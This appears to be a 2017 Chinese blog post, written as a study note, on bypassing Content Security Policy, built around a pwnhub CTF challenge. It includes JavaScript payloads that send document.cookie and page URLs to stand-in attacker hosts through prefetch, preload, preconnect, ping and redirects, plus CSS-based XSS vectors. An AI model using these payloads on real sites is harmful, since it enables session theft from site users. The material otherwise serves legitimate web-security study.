pwnhub-打开电脑(关于 csp bypass 的记录)

  CSP 全称 Content Security Policy,是一种浏览器安全应对策略,用于限制浏览器加载资源的权限,在一定程度上减少了 XSS 的发生。但是也由于其功能的过于强大,使得网站有些正常功能都不便于执行,因此,在使用时会有很多的疏忽,也容易 bypass,导致一些安全问题。

  现代浏览器一般都支持 CSP 安全策略,其支持的策略列表及含义如下:

 

指           令

说                                                    明

   default-src

        默认策略,针对所有请求类型生效

   script-src

        脚本加载策略

   img-src

        图片加载策略

   style-src

        样式加载策略

   connect-src

        网络连接请求加载策略,当拒绝时,浏览器会响应 HTTP 400

   font-src

        Web Font 加载策略

   object-src

        插件加载策略,包括 <OBJECT>、<EMBED> 等标签

   media-src

        多媒体加载策略,包括 <AUDIO>、<VIDEO>等标签

   frame-src

        框架加载策略

   sandbox

        对所请求的资源启用 sandbox(类似于 iframe 的 sandbox 属性)

   report-uri

        请求资源被策略拒绝时上报日志信息的 URL

  每条指令均支持不同的策略值,这些值形成一整个完整策略,如:X-Content-Security-Policy: script-src 'self' ,表示加载外部脚本时只允许加载和自己同源的脚本,其他地方的脚本全部拒绝。策略值含义如下:

 

策    略    值

说                                                                    明

   *

        允许所有内容

   'none'

        拒绝所有内容

   'self'

        允许同源内容

   data

        允许 data:URL

   www.xx.com

        

        

        允许加载指定域名的资源,支持通配符

   *.xx.com

   https://xx.com

   https:

        允许加载 https 资源

   'unsafe-inline'

        允许加载内联资源,如 onload 这样的事件

   'unsafe-eval'

        允许使用 eval()

 

  加入某个页面有同源限制,那么即使在内部系统上找到了 XSS 漏洞,当其在加载外部脚本时,就会被 CSP 策略阻止,从而保护了该页面的安全。当然,我们这里不谈其安全性是如何保护的,而是谈谈常见的 bypass CSP 的方法。

  1、xxx-src *

  * 符号出现,表示允许除了内联函数以外所有的 url 式的请求,那么 bypass 就可以类似于 src 引用的方式,很容易造成 csrf 漏洞。问题出得最多的在 frame-src * ,但是由于同源导致不能 XSS ,但是对于构造 CSRF 则是毫无问题。

<script>alert(1)</script> //被阻止
<script src=http://xxx/xx.js></script> //可执行

  2、script-src unsafe-inline

  unsafe-inline 属性使得可以加载内联资源,如 onload 这样的事件,但是不能对别的域下的资源发起请求。

<script>alert(1)</script> //可执行
<script src=http://xxx/xx.js></script> //被阻止

  3、xxx-src self

  self 代表只接受符合同源策略的 url,但是可以通过预加载等手段进行 bypass,这是在 HTML5 中的一个新特性:页面资源预加载(Link prefetch),他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。

  可以细分为几个不同的技术:DNS-prefetch、subresource 和标准的 prefetch、preconnect、prerender ,并不是像很多人想象的那样,只有 Chrome 才支持预加载,目前绝大多数的浏览器都已支持。通过Link标记实现的,将 rel 属性指定为 prefetch ,在 href 属性里指定要加载资源的地址即可。

  就当前来说,Firefox 相对于 Chrome 来说,CSP 执行规范要相对于高一些,导致二者预加载的 rel 标记不太一样,如下:

Firefox:
<link rel='prefetch' href='http://xxx/xx'>
<link rel="dns-prefetch" href="http://xxx/xx">

Chrome:
<link rel='prerender' href='http://xxx/xx'>
<link rel='preload' href='//xxx/xx'>

  就目前的对于 unsafe-inline 的 bypass 方法,

  Firefox:

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++){
    console.log(dcl[i]);
    n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".xxx.io\">";
}

 

   Chrome:

var n0t = document.createElement("link");
n0t.setAttribute("rel", "preload");
n0t.setAttribute("href", "//ip/"+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})()));
document.head.appendChild(n0t);

  不是所有的资源都可以预加载,当资源为以下列表中的资源时,将阻止预渲染操作:

弹窗页面
含恶意软件的页面
URL 中包含下载资源
页面中包含音频、视频
POST、PUT 和 DELETE 操作的 ajax 请求
HTTP 认证(Authentication) / HTTPS 页面
正在运行 Chrome developer tools 开发工具

 

  还有一些其它特性,jQuery sourcemap、a标签的ping属性、http 204,都是参照柠檬师傅的方法,没测试了。

  jQuery sourcemap

document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);

  a标签的ping属性

a=document.createElement('a');
a.href='#';
a.ping='http://xxx.io/?' + escape(document.cookie);
a.click();

  http 204

location='//xxx.io/csi?' + escape(document.cookie);

  对于文件上传,在对于设置了 self 而没有的 unsafe-inline 时,只能寻求站内的上传点,如果限制了目录,可以通过 %2f 跨目录加载。

 

  回到 pwnhub 这道题来,看到返回的 CSP 信息:

Content-Security-Policy    
default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval'
; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:;

  看到了对于框架加载以及脚本加载都限制了同源,对于 cdn.bootcss.com 下可以加载内联,但是感觉也没什么用,唯一可利用点就是 img-src * 这个点了,background - image : url (xxx) 来设置元素的背景图像,也就是可以远程访问资源,于是 paload 可为:

xx style=background-image:url('http://ip')

  监听到连接请求后,就可以看到有个后台地址,然后加上 xff 对应访问即可获得 flag 。

  其实对于这类在CSS中输出的点,可以形成的XSS方式还有很多(但是有一些对于不同浏览器来说,已经是不支持的了),详细的在刺总的《白帽子讲Web安全》一书中有说道,如下:

<STYLE>@import 'http://ip';</STYLE> // Firefox 51.0.1 不支持
<STYLE>BODY{-moz-binding:url("http://ip#xss")}</STYLE> // Firefox 51.0.1 不支持
<XSS STYLE="behavior: url(xss.htc)";> // Firefox 51.0.1 不支持
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI> // Firefox 51.0.1 不支持
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> //Firefox 51.0.1 支持
<DIV STYLE="width: expression(alert('XSS'));"> // IE5~7,Firefox 51.0.1 不支持

 

  这篇文章基本上都是参考的大牛们博客上的一些关于 bypass CSP 的文章,自己对于这块领悟得不深,就简单测试了一下,记录下来,方便以后用到时查阅。学习 ...

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html
http://lorexxar.cn/2016/08/08/ccsp/
http://paper.seebug.org/91/
https://blog.0daylabs.com/2016/09/09/bypassing-csp/

 

posted on 2017-02-20 10:16  镱鍚  阅读(302)  评论(0)    收藏  举报

导航